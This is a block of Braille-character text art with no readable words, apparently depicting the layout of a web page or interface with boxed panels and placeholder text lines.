⡇⣿⣿⣿⢻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡇⣿⣷⣜⣡⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣷⠭⠭⠭⠭⠭⠭⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⣾⣿⣿⣿⣿ ⡇⣿⣿⢟⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⣯⣾⣿⣿⣿⣿ ⡇⣿⣷⣞⣰⣿⣿⣿⣀⣍⢛⡯⣉⣉⣫⣩⣈⣉⣸⣉⣋⣫⣛⣻⣙⣺⣘⣋⣹⣭⣅⣁⣈⣉⣱⣋⣉⣉⣏⣀⣉⢋⣉⡉⣉⣉⣜⣉⣉⣋⣚⣉⢍⣇⣉⣻⠁⣋⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠶⠶⢿⣿⣿⣿⣿⣿ ⡇⣿⣿⣙⠩⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿ ⡇⣿⡿⢯⠹⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡇⣿⣿⣬⣵⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣿⣾⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣬⣤⣦⣤⣤⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡏⣷⣶⡶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣖⣽⣿⣿⣿⣿ ⡇⣿⣯⣼⢠⣿⣿⣿⡭⠙⠛⡿⢛⠛⠋⠍⢻⠛⠛⠛⠛⠛⠫⡛⡏⠋⢹⠛⠙⠙⠛⡟⢛⠛⠹⠛⡿⠹⠻⠙⠛⡏⠛⠋⡯⡏⠛⠛⡛⡟⠛⠛⠟⡟⠛⠛⠛⢹⠛⠛⠻⠙⡟⠛⠛⠛⠻⣿⣿⣿⣬⣤⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⠻⠛⣿⣿⣿⠻⠿⢿⡿⠗⠻⠿⠿⢿⢾⠿⡿⠿⢿⠻⠾⠿⠿⢟⠿⠿⠿⢿⡿⠿⡟⠻⠿⠿⢿⠿⠿⠿⠿⡟⠿⠿⠿⠿⠿⠿⡿⠿⠿⠻⢷⠾⠟⠛⢿⡟⠻⢿⠿⢿⡛⠛⡛⢻⣿⣿⣷⣶⣶⣶⣿⣿⣿⣿⣿ ⡇⣿⣿⣟⢲⣿⣿⣿⣶⣶⡾⣷⡾⡾⣶⣶⢾⣿⣶⣷⣶⢾⣶⢶⣶⣶⣿⣶⣶⣶⢶⣶⣶⣷⡶⣶⣾⡾⡷⣶⡶⢶⣷⢶⢶⣶⣾⣷⣶⡷⣶⣤⣶⣾⣶⣷⣶⣶⣷⣶⣶⣶⣾⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣧⣘⣢⣿⣿⣿⣤⣴⣤⣤⣤⣧⣤⣤⣼⣤⣤⣀⣤⣤⣤⣼⣤⣤⣥⣤⣤⣼⣤⣼⣤⣤⣤⣤⣴⣤⣤⣠⣧⣤⣤⣼⣤⣤⣴⣽⣤⡏⠀⠀⠃⠀⠈⠀⠚⠀⠐⠀⠁⠓⠚⠛⠛⠛⠛⠛⠛⠛⠛⠛⢻⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⡿⠿⠿⠿⠁⠍⠉⠇⠙⢧⣋⣭⣁⣿⣷⣿⣉⣉⣸⣰⣻⣀⣉⣉⣉⣹⣍⣼⣁⣉⣉⣩⣇⣈⣀⣉⣋⣉⣭⣇⣑⣉⣉⣩⣈⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣸⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣷⣶⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣧⣛⣛⣛⣛⣛⣛⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣼⣿⣿⣿⣿ ⡏⣶⣶⡶⢶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣦⣤⣤⣴⣽⣿⣿⣿⣿ ⡇⣿⣯⡼⢡⣿⣿⣿⡭⠛⠙⠋⡏⠹⠫⠉⡹⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣤⡿⣿⣿⣿⣿⣿ ⡇⣿⣿⠻⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣟⢲⣿⣿⣿⠉⠉⠋⡏⠻⡛⠛⡛⠛⠛⠙⠛⢻⠛⠙⢙⠛⡟⠛⠛⠛⠋⠛⡯⠙⠛⠛⠛⠛⠙⢻⠋⠛⠛⠛⡟⢛⠛⡟⠛⠛⢛⢻⠙⠙⠛⠙⣟⢛⠛⠛⠛⠛⢟⠛⠙⠛⡟⢟⠛⣛⢻⠛⠛⣿⣿⣿⣿⣿⣿ ⡇⣿⣷⣘⣢⣿⣿⣿⠻⢿⢛⠿⢿⠿⠛⠳⡾⢿⢿⠷⡾⠻⠿⡿⠿⠷⠿⡿⢷⠿⠿⠿⠟⠻⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣶⣾⣶⣶⣾⣶⣶⣶⣶⣾⣶⣶⣵⣶⣶⣷⣶⣶⣶⣷⣾⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⡿⠻⠿⠿⢿⡿⢿⢿⡿⢿⠿⠿⢿⢛⢟⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣶⣶⣿⣷⣾⣷⣾⣾⣿⣶⣶⣶⣾⣾⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢹⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣇⡿⠿⠿⠿⠿⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿ ⡟⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⣭⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡭⣻⣿⣿⣿⣿ ⡇⣿⣟⣱⢈⣿⣿⣿⠛⠿⡛⣿⠿⡟⢟⡿⢿⣿⢿⢛⡿⢿⠻⡿⢿⢟⡻⡿⠿⠿⡿⢿⢿⣿⡟⡿⠻⡿⡿⠿⣿⡻⠿⠻⠿⡟⠿⠟⣟⣿⠿⣿⡿⢿⠿⡿⠿⠿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⢷⠾⣿⣿⣿⠶⢷⣿⣷⣶⣿⣶⣶⣶⡮⣾⣶⢶⠾⣶⡦⣷⡶⢶⡿⣾⡶⢷⣾⣾⣶⣶⢶⣶⣶⣷⣶⣶⣷⣦⣴⣶⣷⣶⣶⣿⣶⣶⣯⣶⣴⣶⣷⣶⣶⣷⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣽⣿⣿⣿⣿⣿ ⡇⣿⣿⡶⢴⣿⣿⣿⣯⣤⣤⣲⣧⣤⣤⣦⣧⣬⣽⣤⣤⣼⣥⣧⣤⣤⣭⣿⣤⣴⣥⣏⣠⣤⣤⣤⣤⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣯⡹⢌⣿⣿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⢻⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣇⢿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⡿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠟⢻⣿⣿⣿⣿ ⡇⣿⡟⢡⠝⣿⣿⣿⣛⠻⠻⢟⢿⠿⠿⠿⢿⠿⠿⠿⢿⠿⠿⢿⠿⠿⠿⠿⢿⠿⠟⠿⠿⡿⠿⡿⣟⣿⢻⠻⠿⠿⢿⠿⢻⠿⠿⢿⢿⠿⠿⠟⠿⡟⠿⠿⡿⠿⠿⠿⡟⠿⠟⠿⠿⡿⠿⠟⣿⣿⣛⣛⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣯⠼⣿⣿⣿⣿⠶⢶⣾⣷⣶⡾⡾⣿⣷⣷⣷⣾⣶⣦⣾⣶⣷⣶⣷⣷⣶⣶⣶⣶⣷⣶⣷⠉⠉⠀⠀⠀⠀⠁⠁⠉⠉⠀⠉⠁⠁⠀⠀⠈⠁⠁⢸⣷⠾⣾⣶⣷⣶⣷⣶⣬⣷⣶⣶⣿⣯⣿⣿⣯⣿⣿⣿⣿⣿ ⡇⣿⣿⣴⣤⣿⣿⣿⣀⣀⣇⣀⣔⣇⣄⣀⣰⣺⣨⣖⣢⣂⣿⣈⣔⣰⣐⣒⣆⣯⣽⣒⣑⣅⣔⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢐⣒⣖⣲⣆⣂⣀⣔⣟⣧⣒⣂⣞⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣟⢳⠘⣿⣿⣿⣉⣫⣭⣋⣭⣯⣈⣩⣯⣝⣍⣬⣉⣏⣈⣉⣍⣩⣍⣏⣍⣭⣩⣏⣩⣩⣩⣭⣤⣀⣠⣤⣤⣀⣀⣀⣄⣠⣠⢀⣤⣀⣄⣠⣄⣀⣠⣌⣍⣉⣩⣩⣉⣉⣉⣏⣩⣝⣍⣽⣍⣽⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣷⣾⣿⣿⣿⢛⠻⢛⢟⠟⡟⠛⡟⠙⠻⡛⣛⣛⠟⡻⠛⡛⡻⡻⣿⠟⡻⠛⡋⢛⡟⢟⡏⡟⠙⠛⢛⡛⠻⡛⣛⣟⣛⡿⢻⣟⠻⣛⡏⠻⡛⡛⡟⠛⣛⡟⠛⢛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⣿⣶⣾⣶⣶⣶⣷⣷⣷⣶⣾⣶⣷⣶⣶⣶⣶⣶⣾⣶⣷⣿⣶⣶⣶⣶⣷⣶⣶⣷⣶⣶⣿⣶⣾⣶⣶⣿⣾⣶⣶⣷⣷⣶⣷⣶⣾⣶⣷⣶⣷⣷⣶⣾⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢹⣿⣿⣿⣿ ⡇⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿ ⣧⣛⣛⣛⣛⣛⣛⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣼⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⡿⢿⢿⡿⢿⠿⣿⢿⡿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣶⣶⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⢿⢿⢿⢿⡿⢿⡿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⡿⠿⣿⣿⣿⣿⣿⣿⢿⢿⢿⣿⣿⣿⡿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⡿⡿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⡿⢿⣿⣿⠿⢿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣸⣸⣸⣠⣱⣸⣇⣛⣣⣰⣡⣣⣠⣂⣃⣇⣆⣾⣗⣛⣤⣣⣡⣸⣰⣿⣸⣸⣸⣂⣇⣖⣇⣸⣿⣸⣗⣕⣅⣸⣰⣃⣃⣇⣂⣧⣳⣡⣸⣇⣛⣳⣸⡌⣆⣎⣆⣇⣆⣔⣿⣇⣇⣌⣡⣲⣸⣀⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⢛⣻⡿⢿⣿⠿⢿⢿⡿⢿⡿⢿⠿⢿⠿⣿⢿⣿⡟⢻⢿⢿⡿⢻⡟⣛⡟⣛⡟⣛⣿⡟⣛⠟⡿⢿⣿⡿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣼⣤⣼⣼⣤⣧⣷⣼⣧⣧⣽⣼⣼⣼⣭⣧⣧⣿⣼⣮⣼⣼⣼⣼⣧⣾⣯⣧⣧⣧⣼⣯⣧⣧⣧⣧⣷⣷⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⡿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⢿⣿⣿⣿⣿⣿ 